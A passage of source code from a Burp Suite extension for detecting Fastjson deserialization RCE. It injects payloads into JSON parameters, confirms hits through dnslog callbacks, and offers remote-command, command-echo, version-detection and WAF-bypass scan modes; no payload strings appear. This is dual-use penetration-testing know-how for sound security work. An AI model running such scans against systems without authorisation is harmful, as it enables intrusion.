158 | // this.isScanCookieJsonBox = new JCheckBox("扫描Cookie参数的Json", this.yamlReader.getBoolean("scan.type.isScanCookieJson"));
159 | // this.isScanCookieJsonBox.setFont(new Font("Serif", Font.PLAIN, this.isScanCookieJsonBox.getFont().getSize()));
160 | // c.insets = new Insets(5, 5, 5, 5);
161 | // c.gridx = 0;
162 | // c.gridy = 6;
163 | // baseSetting.add(this.isScanCookieJsonBox, c);
164 | // }
165 | //
166 | // private void input2_5(JPanel baseSetting, GridBagConstraints c) {
167 | // this.isScanJsonBox = new JCheckBox("扫描Post请求的Json", this.yamlReader.getBoolean("scan.type.isScanJson"));
168 | // this.isScanJsonBox.setFont(new Font("Serif", Font.PLAIN, this.isScanJsonBox.getFont().getSize()));
169 | // c.insets = new Insets(5, 5, 5, 5);
170 | // c.gridx = 0;
171 | // c.gridy = 7;
172 | // baseSetting.add(this.isScanJsonBox, c);
173 | // }
174 | //
175 | // private void input2_6(JPanel baseSetting, GridBagConstraints c) {
176 | // this.isScanBodyJsonBox = new JCheckBox("扫描HTTP请求正文的Json", this.yamlReader.getBoolean("scan.type.isScanBodyJson"));
177 | // this.isScanBodyJsonBox.setFont(new Font("Serif", Font.PLAIN, this.isScanBodyJsonBox.getFont().getSize()));
178 | // c.insets = new Insets(5, 5, 5, 5);
179 | // c.gridx = 0;
180 | // c.gridy = 8;
181 | // baseSetting.add(this.isScanBodyJsonBox, c);
182 | // }
183 |
184 | private void input3_1(JPanel baseSetting, GridBagConstraints c) {
185 | JLabel br_lbl_3_1 = new JLabel("被动扫描模块配置");
186 | br_lbl_3_1.setForeground(new Color(255, 89, 18));
187 | br_lbl_3_1.setFont(new Font("Serif", Font.PLAIN, br_lbl_3_1.getFont().getSize() + 2));
188 | c.insets = new Insets(15, 5, 5, 5);
189 | c.gridx = 0;
190 | c.gridy = 5;
191 | baseSetting.add(br_lbl_3_1, c);
192 | }
193 |
194 | private void input3_2(JPanel baseSetting, GridBagConstraints c) {
195 | this.isStartLowPercept = new JCheckBox("低感知fastjson探测", this.yamlReader.getBoolean("application.lowPerceptionScan.config.isStart"));
196 | this.isStartLowPercept.setFont(new Font("Serif", Font.PLAIN, this.isStartBox.getFont().getSize()));
197 | c.insets = new Insets(5, 5, 5, 5);
198 | c.gridx = 0;
199 | c.gridy = 6;
200 | baseSetting.add(this.isStartLowPercept, c);
201 | }
202 | private void input3_3(JPanel baseSetting, GridBagConstraints c) {
203 | this.isStartCmdEchoExtensionBox = new JCheckBox("命令回显扩展-启动", this.yamlReader.getBoolean("application.cmdEchoExtension.config.isStart"));
204 | this.isStartCmdEchoExtensionBox.setFont(new Font("Serif", Font.PLAIN, this.isStartCmdEchoExtensionBox.getFont().getSize()));
205 | c.insets = new Insets(5, 5, 5, 5);
206 | c.gridx = 0;
207 | c.gridy = 7;
208 | baseSetting.add(this.isStartCmdEchoExtensionBox, c);
209 | }
210 |
211 | private void input3_4(JPanel baseSetting, GridBagConstraints c) {
212 | this.isStartRemoteCmdExtensionBox = new JCheckBox("远程命令扩展-启动", this.yamlReader.getBoolean("application.remoteCmdExtension.config.isStart"));
213 | this.isStartRemoteCmdExtensionBox.setFont(new Font("Serif", Font.PLAIN, this.isStartRemoteCmdExtensionBox.getFont().getSize()));
214 | c.insets = new Insets(5, 5, 5, 5);
215 | c.gridx = 0;
216 | c.gridy = 8;
217 | baseSetting.add(this.isStartRemoteCmdExtensionBox, c);
218 | }
219 |
220 | public Boolean isStart() {
221 | return this.isStartBox.isSelected();
222 | }
223 |
224 |
225 | public Boolean isStartLowPercept() {
226 | return this.isStartLowPercept.isSelected();
227 | }
228 |
229 | public Boolean isStartBypass() {
230 | return this.isStartBypass.isSelected();
231 | }
232 | public void setDnslogName(String name) {
233 | this.dnslogName = name;
234 | }
235 | public String getDnslogName() {
236 | return dnslogName;
237 | }
238 |
239 | public Boolean isStartCmdEchoExtension() {
240 | return this.isStartCmdEchoExtensionBox.isSelected();
241 | }
242 |
243 | public Boolean isStartRemoteCmdExtension() {
244 | return this.isStartRemoteCmdExtensionBox.isSelected();
245 | }
246 | }
--------------------------------------------------------------------------------
/src/main/java/burp/extension/scan/BaseScan.java:
--------------------------------------------------------------------------------
1 | package burp.extension.scan;
2 |
3 | import burp.*;
4 | import burp.bean.CustomBurpUrl;
5 | import burp.bean.Issus;
6 | import burp.bean.ScanResultType;
7 | import burp.dnslogs.DnslogInterface;
8 | import burp.extension.bypass.PayloadBypass;
9 | import burp.ui.Tags;
10 | import burp.utils.Customhelps;
11 | import burp.utils.YamlReader;
12 |
13 | import java.io.PrintWriter;
14 | import java.lang.reflect.InvocationTargetException;
15 | import java.net.URLEncoder;
16 | import java.text.SimpleDateFormat;
17 | import java.util.*;
18 |
19 | import static burp.utils.Customhelps.tabFormat;
20 |
21 | /**
22 | * @ClassName: BaseScan
23 | * @Auther: niko
24 | * @Date: 2025/2/7 21:50
25 | * @Description:
26 | */
27 | public abstract class BaseScan {
28 | public PrintWriter stdout;
29 | protected IBurpExtenderCallbacks callbacks;
30 |
31 | protected IExtensionHelpers helpers;
32 |
33 | protected List payloads;
34 |
35 | protected IHttpRequestResponse iHttpRequestResponse;
36 |
37 | protected CustomBurpUrl customBurpUrl;
38 | protected List randomList;
39 |
40 | protected List iHttpRequestResponseList;
41 |
42 | protected String dnsName;
43 | protected YamlReader yamlReader;
44 | private boolean isBypass;
45 | private Integer startTime;
46 |
47 | protected BaseScan(IBurpExtenderCallbacks callbacks,IHttpRequestResponse iHttpRequestResponse, IExtensionHelpers helpers,boolean isBypass,String dnsName) {
48 | this.callbacks = callbacks;
49 | this.helpers = helpers;
50 | this.payloads = new ArrayList<>();
51 | this.yamlReader = YamlReader.getInstance(callbacks);
52 | this.iHttpRequestResponse = iHttpRequestResponse;
53 | this.dnsName = dnsName;
54 | this.customBurpUrl = new CustomBurpUrl(callbacks,iHttpRequestResponse);
55 | this.randomList = new ArrayList<>();
56 | this.iHttpRequestResponseList = new ArrayList<>();
57 | this.isBypass = isBypass;
58 | this.stdout = new PrintWriter(callbacks.getStdout(), true);
59 | this.startTime = Customhelps.getSecondTimestamp(new Date());
60 | }
61 |
62 | protected IHttpRequestResponse run(String payload){
63 | try {
64 | Thread.sleep(500);
65 | } catch (InterruptedException e) {
66 | throw new RuntimeException(e);
67 | }
68 | if (this.isBypass){
69 | payload = PayloadBypass.processJson(payload,true);
70 | }
71 |
72 |
73 | List headers = customBurpUrl.getHttpRequestHeaders();
74 | byte[] bytes = helpers.buildHttpMessage(headers, helpers.stringToBytes(payload));
75 | IHttpRequestResponse newRequestResp = callbacks.makeHttpRequest(iHttpRequestResponse.getHttpService(), bytes);
76 | this.customBurpUrl = new CustomBurpUrl(callbacks,newRequestResp);
77 | return newRequestResp;
78 | }
79 |
80 |
81 | protected IHttpRequestResponse run(String payloads,String key) {
82 | try {
83 | Thread.sleep(500);
84 | } catch (InterruptedException e) {
85 | throw new RuntimeException(e);
86 | }
87 | if (this.isBypass){
88 | payloads = PayloadBypass.processJson(payloads,false);
89 | }
90 | byte[] request = iHttpRequestResponse.getRequest();
91 | try {
92 | List parameters = customBurpUrl.getHttpRequestParameters();
93 | // 寻找json param位置
94 | for (IParameter parameter:parameters){
95 | if (key.equals(parameter.getName())){
96 | IParameter newParam = null;
97 | // 如果参数在 URL 中
98 | if (parameter.getType() == IParameter.PARAM_URL) {
99 | newParam = helpers.buildParameter(key, URLEncoder.encode(payloads), IParameter.PARAM_URL);
100 | }
101 | // 如果参数在 POST body 中
102 | else if (parameter.getType() == IParameter.PARAM_BODY) {
103 | newParam = helpers.buildParameter(key, URLEncoder.encode(payloads), IParameter.PARAM_BODY);
104 | }
105 | request = helpers.updateParameter(request, newParam);
106 | IHttpRequestResponse newRequestResp = callbacks.makeHttpRequest(iHttpRequestResponse.getHttpService(), request);
107 |
108 | this.customBurpUrl = new CustomBurpUrl(callbacks,newRequestResp);
109 | return newRequestResp;
110 | }
111 | }
112 |
113 | }catch (Exception e){
114 | throw e;
115 | }
116 | return iHttpRequestResponse;
117 | }
118 | public abstract List insertPayloads(String jsonKey) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException;
119 |
120 | public void exportLogs(String extendName,String url,String key,String payload,String dnslogContent){
121 | this.stdout.println(String.format("================%s扫描详情================",extendName));
122 | this.stdout.println(String.format("扫描地址: %s", url));
123 | this.stdout.println(String.format("扫描参数: %s", key!=null?key:"content-type: application/json"));
124 | this.stdout.println(String.format("扫描payload: %s", payload));
125 | this.stdout.println(String.format("dnslog检测/响应包: %s", dnslogContent));
126 | Date d = new Date();
127 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
128 | String endTime = sdf.format(d);
129 | this.stdout.println(String.format("检测时间: %s", endTime));
130 | this.stdout.println("========================================");
131 | this.stdout.println(" ");
132 | }
133 |
134 | public abstract String getExtensionName();
135 |
136 | public Issus TimeoutCheck(int count){
137 | int maxExecutionTime = 15 * count;
138 | // 判断程序是否运行超时
139 | Integer currentTime = Customhelps.getSecondTimestamp(new Date());
140 | Integer runTime = currentTime - startTime;
141 | if (runTime >= maxExecutionTime) {
142 | return new Issus(customBurpUrl.getHttpRequestUrl(),
143 | customBurpUrl.getRequestMethod(),
144 | this.getExtensionName(),
145 | customBurpUrl.getHttpResponseStatus(),
146 | "timeout",
147 | tabFormat(ScanResultType.WAIT_CONFIRM),
148 | iHttpRequestResponse,
149 | Issus.State.SAVE);
150 | }
151 | return null;
152 | }
153 | protected List checkoutDnslog(String extendName,DnslogInterface dnslog,Listrandlist,List httpRequestResponseList,List payloads,List versionList) {
154 |
155 | List issuses = new ArrayList<>();
156 | String tabResult = null ;
157 | try {
158 | Thread.sleep(5000);
159 | } catch (InterruptedException e) {
160 | throw new RuntimeException(e);
161 | }
162 | if (extendName.equals("lowPerceptScan")){
163 | tabResult = tabFormat(ScanResultType.IS_FASTJSON);
164 | } else if (extendName.equals("RemoteScan")) {
165 | tabResult = tabFormat(ScanResultType.PAYLOADS_FIND);
166 | }
167 | // 开始进行二次验证
168 | Issus issus;
169 | try {
170 | boolean isFirst = true;
171 | for (int i = 0; i < randlist.size(); i++) {
172 | String random = randlist.get(i);
173 | String dnsLogAllContent = "";
174 | dnsLogAllContent = dnslog.getAllContent(random);
175 | try {
176 | Thread.sleep(1000);
177 | } catch (InterruptedException e) {
178 | throw new RuntimeException(e);
179 | }
180 | this.stdout.println(String.format("================%s二次校验详情================",extendName));
181 | this.stdout.println(String.format("dnslog响应包: %s", dnsLogAllContent));
182 | Date d = new Date();
183 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
184 | String endTime = sdf.format(d);
185 | this.stdout.println(String.format("检测时间: %s", endTime));
186 | this.stdout.println("========================================\n");
187 | if (dnsLogAllContent == null){
188 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
189 | customBurpUrl.getRequestMethod(),
190 | this.getExtensionName(),
191 | customBurpUrl.getHttpResponseStatus(),
192 | null,
193 | tabFormat(ScanResultType.NOT_FOUND),
194 | httpRequestResponseList.get(i),
195 | Issus.State.SAVE);
196 | issuses.add(issus);
197 | return issuses;
198 | }
199 | // dnslog 内容匹配判断
200 | if (!dnsLogAllContent.contains(random)) {
201 | if ((i + 1) != randlist.size()) {
202 | continue;
203 | } else {
204 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
205 | customBurpUrl.getRequestMethod(),
206 | this.getExtensionName(),
207 | customBurpUrl.getHttpResponseStatus(),
208 | null,
209 | tabFormat(ScanResultType.NOT_FOUND),
210 | httpRequestResponseList.get(i),
211 | Issus.State.SAVE);
212 | issuses.add(issus);
213 | return issuses;
214 | }
215 | }
216 | if (extendName.equals("versionDetect")){
217 | tabResult = tabFormat(ScanResultType.VERSION_INFO,versionList.get(i));
218 | }
219 | if (isFirst){
220 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
221 | customBurpUrl.getRequestMethod(),
222 | this.getExtensionName(),
223 | customBurpUrl.getHttpResponseStatus(),
224 | payloads.get(i),
225 | tabResult,
226 | httpRequestResponseList.get(i),
227 | Issus.State.SAVE);
228 | issuses.add(issus);
229 | isFirst = false;
230 | }else {
231 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
232 | customBurpUrl.getRequestMethod(),
233 | this.getExtensionName(),
234 | customBurpUrl.getHttpResponseStatus(),
235 | payloads.get(i),
236 | tabResult,
237 | httpRequestResponseList.get(i),
238 | Issus.State.ADD);
239 | issuses.add(issus);
240 | }
241 | }
242 | return issuses;
243 | } catch (Exception e) {
244 | // 抛出dnslog平台error
245 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
246 | customBurpUrl.getRequestMethod(),
247 | this.getExtensionName(),
248 | customBurpUrl.getHttpResponseStatus(),
249 | null,
250 | tabFormat(ScanResultType.DNS_ERROR),
251 | this.iHttpRequestResponse,
252 | Issus.State.SAVE);
253 | issuses.add(issus);
254 | return issuses;
255 | }
256 | }
257 |
258 | }
259 |
--------------------------------------------------------------------------------
/src/main/java/burp/FastjsonScan.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import burp.bean.CustomBurpUrl;
4 | import burp.bean.Issus;
5 | import burp.dnslogs.DnsLog;
6 | import burp.dnslogs.DnslogInterface;
7 | import burp.extension.ScanFactory;
8 | import burp.extension.scan.BaseScan;
9 | import burp.ui.Tags;
10 | import burp.utils.FindJsons;
11 | import burp.utils.YamlReader;
12 |
13 | import javax.swing.*;
14 | import java.awt.event.ActionEvent;
15 | import java.awt.event.ActionListener;
16 | import java.io.BufferedWriter;
17 | import java.io.File;
18 | import java.io.FileWriter;
19 | import java.io.PrintWriter;
20 | import java.text.SimpleDateFormat;
21 | import java.util.*;
22 | import java.util.concurrent.CompletableFuture;
23 |
24 | /**
25 | * @ClassName: FastjsonScan
26 | * @Auther: niko
27 | * @Date: 2025/1/16 17:07
28 | * @Description:
29 | */
30 | public class FastjsonScan implements IBurpExtender,IExtensionStateListener,IScannerCheck,IContextMenuFactory{
31 | private IBurpExtenderCallbacks callbacks;
32 | public String name = "FastjsonScan4Burp";
33 | public String version = "1.0.1";
34 | private IExtensionHelpers helpers;
35 | private Tags tags;
36 | private YamlReader yamlReader;
37 | private PrintWriter stdout;
38 | @Override
39 | public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
40 | this.callbacks = callbacks;
41 | callbacks.setExtensionName(name);
42 | this.helpers = callbacks.getHelpers();
43 | this.stdout = new PrintWriter(callbacks.getStdout(), true);
44 | this.tags = new Tags(callbacks, name);
45 | this.stdout.println("================插件正在加载================");
46 | this.stdout.println("插件名称: " + name);
47 | this.stdout.println("当前版本: " + version);
48 | this.yamlReader = YamlReader.getInstance(callbacks);
49 |
50 | this.stdout.println("配置文件加载成功");
51 | this.stdout.println(String.format("当前dns平台为: %s", this.tags.getBaseSettingTagClass().getDnslogName()));
52 | // try {
53 | // new DnsLog(callbacks, this.tags.getBaseSettingTagClass().getDnslogName()).run();
54 | // } catch (Exception e) {
55 | // throw new RuntimeException(e);
56 | // }
57 | this.stdout.println("下载地址: https://github.com/Niiiiko/FastjsonScan");
58 | this.stdout.println("================插件加载成功================");
59 | callbacks.registerScannerCheck(this);
60 | callbacks.registerContextMenuFactory(this);
61 | }
62 |
63 | @Override
64 | public void extensionUnloaded() {
65 |
66 | }
67 |
68 | @Override
69 | public List doPassiveScan(IHttpRequestResponse iHttpRequestResponse) {
70 | // 判断是否开启插件
71 | if (!this.tags.getBaseSettingTagClass().isStart()) {
72 | return null;
73 | }
74 |
75 | List issues = new ArrayList<>();
76 |
77 | List domainNameBlacklist = this.yamlReader.getStringList("scan.domainName.blacklist");
78 | List domainNameWhitelist = this.yamlReader.getStringList("scan.domainName.whitelist");
79 |
80 | // 基础url解析
81 | CustomBurpUrl baseBurpUrl = new CustomBurpUrl(this.callbacks, iHttpRequestResponse);
82 | // 判断域名黑名单
83 | if (domainNameBlacklist != null && domainNameBlacklist.size() >= 1) {
84 | if (isMatchDomainName(baseBurpUrl.getRequestHost(), domainNameBlacklist)) {
85 | return null;
86 | }
87 | }
88 |
89 | // 判断域名白名单
90 | if (domainNameWhitelist != null && domainNameWhitelist.size() >= 1) {
91 | if (!isMatchDomainName(baseBurpUrl.getRequestHost(), domainNameWhitelist)) {
92 | return null;
93 | }
94 | }
95 | // 判断当前请求后缀,是否为url黑名单后缀
96 | if (this.isUrlBlackListSuffix(baseBurpUrl)) {
97 | return null;
98 | }
99 | // 判断当前站点问题数量是否超出了
100 | Integer issueNumber = this.yamlReader.getInteger("scan.issueNumber");
101 | if (issueNumber != 0) {
102 | Integer siteIssueNumber = this.getSiteIssueNumber(baseBurpUrl.getRequestDomainName());
103 | if (siteIssueNumber >= issueNumber) {
104 | this.tags.getScanQueueTagClass().add(
105 | "",
106 | this.helpers.analyzeRequest(iHttpRequestResponse).getMethod(),
107 | baseBurpUrl.getHttpRequestUrl().toString(),
108 | this.helpers.analyzeResponse(iHttpRequestResponse.getResponse()).getStatusCode() + "",
109 | "the number of website problems has exceeded",
110 | iHttpRequestResponse
111 | );
112 | return null;
113 | }
114 | }
115 | // 判断当前站点是否超出扫描数量了
116 | Integer siteScanNumber = this.yamlReader.getInteger("scan.siteScanNumber");
117 | if (siteScanNumber != 0) {
118 | Integer siteJsonNumber = this.getSiteJsonNumber(baseBurpUrl.getRequestDomainName());
119 | if (siteJsonNumber >= siteScanNumber) {
120 | this.tags.getScanQueueTagClass().add(
121 | "",
122 | this.helpers.analyzeRequest(iHttpRequestResponse).getMethod(),
123 | baseBurpUrl.getHttpRequestUrl().toString(),
124 | this.helpers.analyzeResponse(iHttpRequestResponse.getResponse()).getStatusCode() + "",
125 | "the number of website scans exceeded",
126 | iHttpRequestResponse
127 | );
128 |
129 | return null;
130 | }
131 | }
132 | FindJsons findJsons = new FindJsons(helpers, iHttpRequestResponse);
133 | List tabIssues = null;
134 | // 判断是否开启低感知插件
135 | if (this.tags.getBaseSettingTagClass().isStartLowPercept()) {
136 | try {
137 | tabIssues = scan(iHttpRequestResponse,"lowPerceptScan");
138 | } catch (Exception e){
139 | throw new RuntimeException(e);
140 | }
141 | if (tabIssues != null){
142 | for (Issus tabIssue:tabIssues){
143 | if (tabIssue.getPayload() !=null)
144 | issues.add(tabIssue);
145 | }
146 | }
147 | }
148 |
149 | if (this.tags.getBaseSettingTagClass().isStartRemoteCmdExtension()) {
150 | // 正常扫描逻辑
151 | try {
152 | tabIssues = scan(iHttpRequestResponse,"RemoteScan");
153 | } catch (Exception e) {
154 | throw new RuntimeException(e);
155 | }
156 | if (tabIssues != null){
157 | for (Issus tabIssue:tabIssues){
158 | if (tabIssue.getPayload() !=null)
159 | issues.add(tabIssue);
160 | }
161 | }
162 | }
163 |
164 | if (this.tags.getBaseSettingTagClass().isStartCmdEchoExtension()) {
165 | try {
166 | tabIssues = scan(iHttpRequestResponse,"CmdEchoScan");
167 | } catch (Exception e) {
168 | throw new RuntimeException(e);
169 | }
170 | if (tabIssues != null){
171 | for (Issus tabIssue:tabIssues){
172 | if (tabIssue.getPayload() !=null)
173 | issues.add(tabIssue);
174 | }
175 | }
176 | }
177 |
178 | return issues;
179 | }
180 | /**
181 | * 探测依赖扫描模块
182 | *
183 | * @param iHttpRequestResponse
184 | * @param mode
185 | * @return
186 | */
187 | private List scan(IHttpRequestResponse iHttpRequestResponse, String mode){
188 | FindJsons findJsons = new FindJsons(helpers, iHttpRequestResponse);
189 | String url = helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString();
190 | String method = helpers.analyzeRequest(iHttpRequestResponse).getMethod();
191 | String statusCode = String.valueOf(helpers.analyzeResponse(iHttpRequestResponse.getResponse()).getStatusCode());
192 |
193 | String key = null;
194 | BaseScan baseScan = null;
195 | int id;
196 | // 判断数据包中是否存在json,有则加入到tags中
197 | if (!findJsons.isParamsJson().isFlag()&&!findJsons.isContypeJson().isFlag()) {
198 | this.tags.getScanQueueTagClass().add(
199 | method,
200 | method,
201 | url,
202 | statusCode,
203 | "[×] json not find",
204 | iHttpRequestResponse);
205 | return null;
206 | }
207 | // 判断数据包中是否存在json,有则加入到tags中
208 | if (findJsons.isParamsJson().isFlag()) {
209 | // 先添加任务
210 | id = this.tags.getScanQueueTagClass().add(
211 | method,
212 | method,
213 | url,
214 | statusCode,
215 | "find json param.wait for testing.",
216 | iHttpRequestResponse);
217 | key = findJsons.isParamsJson().getKey();
218 | } else if (findJsons.isContypeJson().isFlag()) {
219 | // 先添加任务
220 | id = this.tags.getScanQueueTagClass().add(
221 | method,
222 | method,
223 | url,
224 | statusCode,
225 | "find json body. wait for testing.",
226 | iHttpRequestResponse);
227 | } else {
228 | return null;
229 | }
230 | try {
231 | baseScan = ScanFactory.createScan(mode, iHttpRequestResponse, helpers, callbacks,this.tags.getBaseSettingTagClass().isStartBypass(),this.tags.getBaseSettingTagClass().getDnslogName());
232 | } catch (Exception e) {
233 | this.stdout.println("================模块实例化异常================");
234 | this.stdout.println(String.format("异常模块: %s", mode));
235 | this.stdout.println(e);
236 | this.stdout.println("========================================");
237 | }
238 | if (baseScan == null) {
239 | return null;
240 | }
241 |
242 | // 循环调用dnslog,填入payload
243 | List tabIssues = null;
244 | try {
245 | this.stdout.println("================开始扫描================");
246 | this.stdout.println(String.format("扫描模块%s", mode));
247 | this.stdout.println(String.format("扫描地址%s", url));
248 | this.stdout.println("========================================");
249 | tabIssues = baseScan.insertPayloads(key);
250 | } catch (Exception e) {
251 | this.stdout.println("================扫描异常================");
252 | this.stdout.println(String.format("模块调用异常: %s", mode));
253 | this.stdout.println(e);
254 | this.stdout.println("========================================");
255 | this.tags.getScanQueueTagClass().save(
256 | id,
257 | method,
258 | method,
259 | url,
260 | statusCode,
261 | "[×] Unknown Error: " + e,
262 | iHttpRequestResponse);
263 | return null;
264 | }
265 | for (Issus tabIssue:tabIssues){
266 | ResultOutput(tabIssue);
267 | switch (tabIssue.getState()){
268 | case SAVE:
269 | this.tags.getScanQueueTagClass().save(id,
270 | tabIssue.getExtentsionMethod(),
271 | tabIssue.getMethod(),
272 | tabIssue.getUrl().toString(),
273 | tabIssue.getStatus(),
274 | tabIssue.getResult(),
275 | tabIssue.getiHttpRequestResponse());
276 | break;
277 | case ADD:
278 | this.tags.getScanQueueTagClass().add(
279 | tabIssue.getExtentsionMethod(),
280 | tabIssue.getMethod(),
281 | tabIssue.getUrl().toString(),
282 | tabIssue.getStatus(),
283 | tabIssue.getResult(),
284 | tabIssue.getiHttpRequestResponse());
285 | break;
286 | }
287 | }
288 | return tabIssues;
289 | }
290 |
291 | @Override
292 | public List doActiveScan(IHttpRequestResponse iHttpRequestResponse, IScannerInsertionPoint iScannerInsertionPoint) {
293 | return null;
294 | }
295 | private synchronized void ResultOutput(Issus issus) {
296 | int lastIndexOf = callbacks.getExtensionFilename().lastIndexOf(File.separator);
297 | String path = "";
298 | path = callbacks.getExtensionFilename().substring(0,lastIndexOf) + File.separator + "resources/Result.txt";
299 | try (BufferedWriter writer = new BufferedWriter(new FileWriter(path, true))) {
300 | String result = issus.getPayload();
301 | if (result !=null) {
302 | writer.write("====================================================\n\n");
303 | writer.write(String.format("url: %s",issus.getUrl().toString()));
304 | writer.newLine();
305 | writer.write(String.format("扫描模块: %s",issus.getExtentsionMethod()));
306 | writer.newLine();
307 | writer.write(String.format("payload: %s",issus.getPayload()));
308 | writer.newLine();
309 | writer.write(String.format("扫描结果: %s",issus.getResult()));
310 | writer.newLine();
311 | Date d = new Date();
312 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
313 | String endTime = sdf.format(d);
314 | writer.write(endTime);
315 | writer.newLine();
316 | writer.write("====================================================\n\n");
317 | }
318 | System.out.println("写入完成");
319 | } catch (Exception e) {
320 | e.printStackTrace();
321 | }
322 | }
323 |
324 | @Override
325 | public int consolidateDuplicateIssues(IScanIssue iScanIssue, IScanIssue iScanIssue1) {
326 | return 0;
327 | }
328 |
329 | /**
330 | * 判断是否查找的到指定的域名
331 | *
332 | * @param domainName 需匹配的域名
333 | * @param domainNameList 待匹配的域名列表
334 | * @return
335 | */
336 | private static Boolean isMatchDomainName(String domainName, List domainNameList) {
337 | domainName = domainName.trim();
338 |
339 | if (domainName.length() <= 0) {
340 | return false;
341 | }
342 |
343 | if (domainNameList == null || domainNameList.size() <= 0) {
344 | return false;
345 | }
346 |
347 | if (domainName.contains(":")) {
348 | domainName = domainName.substring(0, domainName.indexOf(":"));
349 | }
350 |
351 | String reverseDomainName = new StringBuffer(domainName).reverse().toString();
352 |
353 | for (String domainName2 : domainNameList) {
354 | domainName2 = domainName2.trim();
355 |
356 | if (domainName2.length() <= 0) {
357 | continue;
358 | }
359 |
360 | if (domainName2.contains(":")) {
361 | domainName2 = domainName2.substring(0, domainName2.indexOf(":"));
362 | }
363 |
364 | String reverseDomainName2 = new StringBuffer(domainName2).reverse().toString();
365 |
366 | if (domainName.equals(domainName2)) {
367 | return true;
368 | }
369 |
370 | if (reverseDomainName.contains(".") && reverseDomainName2.contains(".")) {
371 | List splitDomainName = new ArrayList(Arrays.asList(reverseDomainName.split("[.]")));
372 |
373 | List splitDomainName2 = new ArrayList(Arrays.asList(reverseDomainName2.split("[.]")));
374 |
375 | if (splitDomainName.size() <= 0 || splitDomainName2.size() <= 0) {
376 | continue;
377 | }
378 |
379 | if (splitDomainName.size() < splitDomainName2.size()) {
380 | for (int i = splitDomainName.size(); i < splitDomainName2.size(); i++) {
381 | splitDomainName.add("*");
382 | }
383 | }
384 |
385 | if (splitDomainName.size() > splitDomainName2.size()) {
386 | for (int i = splitDomainName2.size(); i < splitDomainName.size(); i++) {
387 | splitDomainName2.add("*");
388 | }
389 | }
390 |
391 | int ii = 0;
392 | for (int i = 0; i < splitDomainName.size(); i++) {
393 | if (splitDomainName2.get(i).equals("*")) {
394 | ii = ii + 1;
395 | } else if (splitDomainName.get(i).equals(splitDomainName2.get(i))) {
396 | ii = ii + 1;
397 | }
398 | }
399 |
400 | if (ii == splitDomainName.size()) {
401 | return true;
402 | }
403 | }
404 | }
405 | return false;
406 | }
407 | /**
408 | * 判断是否url黑名单后缀
409 | * 大小写不区分
410 | * 是 = true, 否 = false
411 | *
412 | * @param burpUrl
413 | * @return
414 | */
415 | private boolean isUrlBlackListSuffix(CustomBurpUrl burpUrl) {
416 | if (!this.yamlReader.getBoolean("urlBlackListSuffix.config.isStart")) {
417 | return false;
418 | }
419 |
420 | String noParameterUrl = burpUrl.getHttpRequestUrl().toString().split("\\?")[0];
421 | String urlSuffix = noParameterUrl.substring(noParameterUrl.lastIndexOf(".") + 1);
422 |
423 | List suffixList = this.yamlReader.getStringList("urlBlackListSuffix.suffixList");
424 | if (suffixList == null || suffixList.size() == 0) {
425 | return false;
426 | }
427 |
428 | for (String s : suffixList) {
429 | if (s.toLowerCase().equals(urlSuffix.toLowerCase())) {
430 | return true;
431 | }
432 | }
433 |
434 | return false;
435 | }
436 | /**
437 | * 网站问题数量
438 | *
439 | * @param domainName
440 | * @return
441 | */
442 | private Integer getSiteIssueNumber(String domainName) {
443 | Integer number = 0;
444 |
445 | String issueName = this.yamlReader.getString("application.cmdEchoExtension.config.issueName");
446 | // String issueName2 = this.yamlReader.getString("application.remoteCmdExtension.config.issueName");
447 | issueName = "fastjson rce";
448 | for (IScanIssue Issue : this.callbacks.getScanIssues(domainName)) {
449 | if (Issue.getIssueName().equals(issueName)) {
450 | number++;
451 | }
452 | }
453 |
454 | return number;
455 | }
456 | private Integer getSiteJsonNumber(String domain){
457 | Integer number = 0;
458 | for(IHttpRequestResponse iHttpRequestResponse :this.callbacks.getSiteMap(domain)){
459 | FindJsons findJsons = new FindJsons(helpers, iHttpRequestResponse);
460 | if (findJsons.isParamsJson().isFlag()||findJsons.isContypeJson().isFlag()){
461 | number ++;
462 | }
463 | }
464 | return number;
465 | }
466 |
467 | @Override
468 | public List createMenuItems(IContextMenuInvocation iContextMenuInvocation) {
469 | List menuItems = new ArrayList<>();
470 | if (iContextMenuInvocation.getToolFlag() != IBurpExtenderCallbacks.TOOL_REPEATER && iContextMenuInvocation.getToolFlag()!=IBurpExtenderCallbacks.TOOL_PROXY){
471 | return menuItems;
472 | }
473 | JMenuItem jMenuItem = new JMenuItem("远程命令拓展扫描");
474 | jMenuItem.addActionListener(new ContextMenuActionListener(iContextMenuInvocation,"RemoteScan"));
475 | JMenuItem jMenuItem2 = new JMenuItem("命令回显拓展扫描");
476 | jMenuItem2.addActionListener(new ContextMenuActionListener(iContextMenuInvocation,"CmdEchoScan"));
477 | JMenuItem jMenuItem3 = new JMenuItem("版本探测");
478 | jMenuItem3.addActionListener(new ContextMenuActionListener(iContextMenuInvocation,"versionDetect"));
479 | JMenuItem jMenuItem4 = new JMenuItem("依赖探测");
480 | jMenuItem4.addActionListener(new ContextMenuActionListener(iContextMenuInvocation,"libraryDetect"));
481 | JMenuItem jMenuItem5 = new JMenuItem("低感知扫描");
482 | jMenuItem5.addActionListener(new ContextMenuActionListener(iContextMenuInvocation,"lowPerceptScan"));
483 | menuItems.add(jMenuItem3);
484 | menuItems.add(jMenuItem4);
485 | menuItems.add(jMenuItem5);
486 | menuItems.add(jMenuItem);
487 | menuItems.add(jMenuItem2);
488 |
489 |
490 | return menuItems;
491 | }
492 |
493 | private class ContextMenuActionListener implements ActionListener {
494 | IContextMenuInvocation invocation;
495 | String mode;
496 | public ContextMenuActionListener(IContextMenuInvocation invocation,String mode) {
497 | this.invocation = invocation;
498 | this.mode = mode;
499 | }
500 | @Override
501 | public void actionPerformed(ActionEvent actionEvent) {
502 | CompletableFuture.runAsync(() -> {
503 | try {
